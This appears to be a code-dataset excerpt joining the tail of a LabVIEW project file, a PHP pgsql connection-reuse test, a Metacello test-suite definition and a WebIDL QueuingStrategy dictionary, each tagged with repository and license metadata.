<Item Name="Recursive File List.vi" Type="VI" URL="/<vilib>/Utility/libraryn.llb/Recursive File List.vi"/>
<Item Name="Release Semaphore Reference.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Release Semaphore Reference.vi"/>
<Item Name="Release Semaphore.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Release Semaphore.vi"/>
<Item Name="Release Waiting Procs.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Release Waiting Procs.vi"/>
<Item Name="RemoveNamedSemaphorePrefix.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/RemoveNamedSemaphorePrefix.vi"/>
<Item Name="Rendezvous Name & Ref DB Action.ctl" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Rendezvous Name & Ref DB Action.ctl"/>
<Item Name="Rendezvous Name & Ref DB.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Rendezvous Name & Ref DB.vi"/>
<Item Name="Rendezvous RefNum" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Rendezvous RefNum"/>
<Item Name="RendezvousDataCluster.ctl" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/RendezvousDataCluster.ctl"/>
<Item Name="RT Management.lvlib" Type="Library" URL="/<vilib>/NI/RT Management/RT Management.lvlib"/>
<Item Name="Search and Replace Pattern.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Search and Replace Pattern.vi"/>
<Item Name="Semaphore Name & Ref DB Action.ctl" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Semaphore Name & Ref DB Action.ctl"/>
<Item Name="Semaphore Name & Ref DB.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Semaphore Name & Ref DB.vi"/>
<Item Name="Semaphore RefNum" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Semaphore RefNum"/>
<Item Name="Semaphore Refnum Core.ctl" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Semaphore Refnum Core.ctl"/>
<Item Name="Set Bold Text.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set Bold Text.vi"/>
<Item Name="Set Busy.vi" Type="VI" URL="/<vilib>/Utility/cursorutil.llb/Set Busy.vi"/>
<Item Name="Set Cursor (Cursor ID).vi" Type="VI" URL="/<vilib>/Utility/cursorutil.llb/Set Cursor (Cursor ID).vi"/>
<Item Name="Set Cursor (Icon Pict).vi" Type="VI" URL="/<vilib>/Utility/cursorutil.llb/Set Cursor (Icon Pict).vi"/>
<Item Name="Set Cursor.vi" Type="VI" URL="/<vilib>/Utility/cursorutil.llb/Set Cursor.vi"/>
<Item Name="Set String Value.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set String Value.vi"/>
<Item Name="Simple Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Simple Error Handler.vi"/>
<Item Name="sizeaction.ctl" Type="VI" URL="/<vilib>/event_ctls.llb/sizeaction.ctl"/>
<Item Name="Space Constant.vi" Type="VI" URL="/<vilib>/dlg_ctls.llb/Space Constant.vi"/>
<Item Name="subFile Dialog.vi" Type="VI" URL="/<vilib>/express/express input/FileDialogBlock.llb/subFile Dialog.vi"/>
<Item Name="System Exec.vi" Type="VI" URL="/<vilib>/Platform/system.llb/System Exec.vi"/>
<Item Name="tag bus.lvlib" Type="Library" URL="/<vilib>/NI/Tag Bus/tag bus.lvlib"/>
<Item Name="TagReturnType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/TagReturnType.ctl"/>
<Item Name="TBM channel.lvclass" Type="LVClass" URL="/<vilib>/NI/Tag Bus Module Framework/channel/TBM channel.lvclass"/>
<Item Name="TBM configuration.lvclass" Type="LVClass" URL="/<vilib>/NI/Tag Bus Module Framework/root configuration/TBM configuration.lvclass"/>
<Item Name="TBM module configuration.lvclass" Type="LVClass" URL="/<vilib>/NI/Tag Bus Module Framework/module configuration/TBM module configuration.lvclass"/>
<Item Name="TBM module execution interface.lvclass" Type="LVClass" URL="/<vilib>/NI/Tag Bus Module Framework/runtime/TBM module execution interface.lvclass"/>
<Item Name="TBM timing source.lvclass" Type="LVClass" URL="/<vilib>/NI/Module Timing Source/timing source/TBM timing source.lvclass"/>
<Item Name="Three Button Dialog CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog CORE.vi"/>
<Item Name="Three Button Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog.vi"/>
<Item Name="Tools_KeyedArray.lvlib" Type="Library" URL="/<vilib>/NI/Tools/Keyed Array/Tools_KeyedArray.lvlib"/>
<Item Name="TRef Traverse.vi" Type="VI" URL="/<vilib>/Utility/traverseref.llb/TRef Traverse.vi"/>
<Item Name="TRef TravTarget.ctl" Type="VI" URL="/<vilib>/Utility/traverseref.llb/TRef TravTarget.ctl"/>
<Item Name="Trim Whitespace.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Trim Whitespace.vi"/>
<Item Name="Unset Busy.vi" Type="VI" URL="/<vilib>/Utility/cursorutil.llb/Unset Busy.vi"/>
<Item Name="usereventprio.ctl" Type="VI" URL="/<vilib>/event_ctls.llb/usereventprio.ctl"/>
<Item Name="Validate Semaphore Size.vi" Type="VI" URL="/<vilib>/Utility/semaphor.llb/Validate Semaphore Size.vi"/>
<Item Name="VI Scripting - Traverse.lvlib" Type="Library" URL="/<vilib>/Utility/traverseref.llb/VI Scripting - Traverse.lvlib"/>
<Item Name="Wait at Rendezvous.vi" Type="VI" URL="/<vilib>/Utility/rendezvs.llb/Wait at Rendezvous.vi"/>
<Item Name="whitespace.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/whitespace.ctl"/>
<Item Name="Write Spreadsheet String.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Write Spreadsheet String.vi"/>
<Item Name="write syslog.vi" Type="VI" URL="/<vilib>/NI/Syslog Wrapper - Linux/write syslog.vi"/>
</Item>
<Item Name="About Screen Library.lvlib" Type="Library" URL="../../about menu/About Screen Library.lvlib"/>
<Item Name="Format Numeric String.vi" Type="VI" URL="../../Table API/Helpers/Format Numeric String.vi"/>
<Item Name="GraphViz Mapping Visualizer.lvlib" Type="Library" URL="../../Utilities/GraphViz Vizualizations/GraphViz Mapping Visualizer.lvlib"/>
<Item Name="Mapping.ctl" Type="VI" URL="../../Configuration Editor/subVIs/Mapping.ctl"/>
<Item Name="Missing Plugin configuration.lvclass" Type="LVClass" URL="../../Configuration Editor/Classes/Missing Plugin/module/configuration/Missing Plugin configuration.lvclass"/>
<Item Name="PL Framework Configuration Tool.lvlib" Type="Library" URL="../../Configuration Editor/PL Framework Configuration Tool.lvlib"/>
<Item Name="PL_class cache.lvlib" Type="Library" URL="../../Framework Configuration Classes/class cache/PL_class cache.lvlib"/>
<Item Name="PL_Serialization Interface.lvlib" Type="Library" URL="../../Framework Configuration Classes/flattened data interface/PL_Serialization Interface.lvlib"/>
<Item Name="PL_System Configuration.lvclass" Type="LVClass" URL="../../Framework Configuration Classes/system configuration/PL_System Configuration.lvclass"/>
<Item Name="PL_Target Configuration.lvclass" Type="LVClass" URL="../../Framework Configuration Classes/target configuration/PL_Target Configuration.lvclass"/>
<Item Name="PLConfigurationSerializer.lvlib" Type="Library" URL="../../Framework Configuration Classes/platypus configuration/PLConfigurationSerializer.lvlib"/>
<Item Name="Read Lines From File.vi" Type="VI" URL="../../Configuration Editor/Classes/Module editor node/Read Lines From File.vi"/>
<Item Name="Robust CSV.lvlib" Type="Library" URL="../../Robust CSV/Robust CSV.lvlib"/>
<Item Name="script includes loader.vi" Type="VI" URL="../../Utilities/script includes loader.vi"/>
<Item Name="script includes VI.vi" Type="VI" URL="../../Utilities/script includes VI.vi"/>
<Item Name="System.Drawing" Type="Document" URL="System.Drawing">
<Property Name="NI.PreserveRelativePath" Type="Bool">true</Property>
</Item>
<Item Name="System.Windows.Forms" Type="Document" URL="System.Windows.Forms">
<Property Name="NI.PreserveRelativePath" Type="Bool">true</Property>
</Item>
<Item Name="TryGetGraphVizPath.vi" Type="VI" URL="../../Utilities/External tools/TryGetGraphVizPath.vi"/>
</Item>
<Item Name="Build Specifications" Type="Build">
<Item Name="Configuration Utility" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{4423157C-EF07-4DB3-881D-41C4DB7F0C97}</Property>
<Property Name="App_INI_GUID" Type="Str">{DA14E4A3-C5A0-4807-9108-9BA544D8097C}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{120EA088-E1BF-4617-9D57-5F666DF4F055}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Configuration Utility</Property>
<Property Name="Bld_localDestDir" Type="Path">../Builds</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToProject</Property>
<Property Name="Bld_previewCacheID" Type="Str">{9E336C6E-7267-4A9A-A014-1CD121FFD006}</Property>
<Property Name="Bld_supportedLanguage[0]" Type="Str">English</Property>
<Property Name="Bld_supportedLanguageCount" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Configuration Utility.exe</Property>
<Property Name="Destination[0].path" Type="Path">../Builds/Configuration Utility.exe</Property>
<Property Name="Destination[0].path.type" Type="Str">relativeToProject</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../Builds/data</Property>
<Property Name="Destination[1].path.type" Type="Str">relativeToProject</Property>
<Property Name="Destination[2].destName" Type="Str">ExeDir</Property>
<Property Name="Destination[2].path" Type="Path">../Builds/Glyphs</Property>
<Property Name="Destination[2].path.type" Type="Str">relativeToProject</Property>
<Property Name="Destination[2].preserveHierarchy" Type="Bool">true</Property>
<Property Name="DestinationCount" Type="Int">3</Property>
<Property Name="Source[0].itemID" Type="Str">{7B44F464-0650-4A6F-ACE4-365A20A81F0A}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref"></Property>
<Property Name="Source[1].Library.allowMissingMembers" Type="Bool">true</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[1].type" Type="Str">Library</Property>
<Property Name="Source[2].destinationIndex" Type="Int">0</Property>
<Property Name="Source[2].itemID" Type="Ref">/My Computer/configuration library.lvlib/Configuration Utility.vi</Property>
<Property Name="Source[2].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[2].type" Type="Str">VI</Property>
<Property Name="Source[3].Container.applyDestination" Type="Bool">true</Property>
<Property Name="Source[3].Container.applyInclusion" Type="Bool">true</Property>
<Property Name="Source[3].destinationIndex" Type="Int">2</Property>
<Property Name="Source[3].itemID" Type="Ref">/My Computer/Glyphs</Property>
<Property Name="Source[3].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[3].type" Type="Str">Container</Property>
<Property Name="SourceCount" Type="Int">4</Property>
<Property Name="TgtF_companyName" Type="Str">Company</Property>
<Property Name="TgtF_fileDescription" Type="Str">Configuration Utility</Property>
<Property Name="TgtF_internalName" Type="Str">Configuration Utility</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright © 2014</Property>
<Property Name="TgtF_productName" Type="Str">Configuration Utility</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{89517AA3-06DF-4E74-A82D-1A84C7592433}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Configuration Utility.exe</Property>
</Item>
</Item>
</Item>
</Project>
| LabVIEW | 1 | wheelsailor/TagEditorCore | source/Standard Editor/Module Configuration Editor.lvproj | [
"Apache-2.0"
] |
--TEST--
Reusing connection with same connection string
--EXTENSIONS--
pgsql
--SKIPIF--
<?php include("skipif.inc"); ?>
--FILE--
<?php
include('config.inc');
$db1 = pg_connect($conn_str);
$db2 = pg_connect($conn_str);
var_dump($db1, $db2);
?>
--EXPECT--
object(PgSql\Connection)#1 (0) {
}
object(PgSql\Connection)#1 (0) {
}
| PHP | 3 | NathanFreeman/php-src | ext/pgsql/tests/connection_reuse.phpt | [
"PHP-3.01"
] |
TDSmalltalkLeafNode {
#name : 'tst',
#contents : '| suite result |
suite := TestSuite named: \'Simple SUnit Suite\'.
suite
addTest:
(MetacelloRegistryLoadScriptTestCase
selector: #\'testFie35Foo40FeauxLoadLockError\');
addTest:
(MetacelloRegistryLoadScriptTestCase
selector: #\'testFie35Foo40FeauxLoadLockNAllowEvenIfLockedUpgrade\');
addTest:
(MetacelloRegistryLoadScriptTestCase
selector: #\'testFie35Foo40FeauxLoadLockNAllowUpgradeError\');
addTest:
(MetacelloScriptingSuccessTestCase selector: #\'testGithubRefBaselineLoad2\');
addTest:
(MetacelloScriptingSuccessTestCase selector: #\'testGithubRefBaselineLoad3\').
suite'
}
| STON | 3 | tom95/metacello | tode/tst.ston | [
"MIT"
] |
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/.
* You can obtain one at http://mozilla.org/MPL/2.0/.
*
* Source: https://streams.spec.whatwg.org/#dictdef-queuingstrategy
*/
dictionary QueuingStrategy {
unrestricted double highWaterMark;
QueuingStrategySize size;
};
callback QueuingStrategySize = unrestricted double (optional any chunk);
| WebIDL | 3 | dkozma/wasm-bindgen | crates/web-sys/webidls/unstable/QueuingStrategy.webidl | [
"Apache-2.0",
"MIT"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.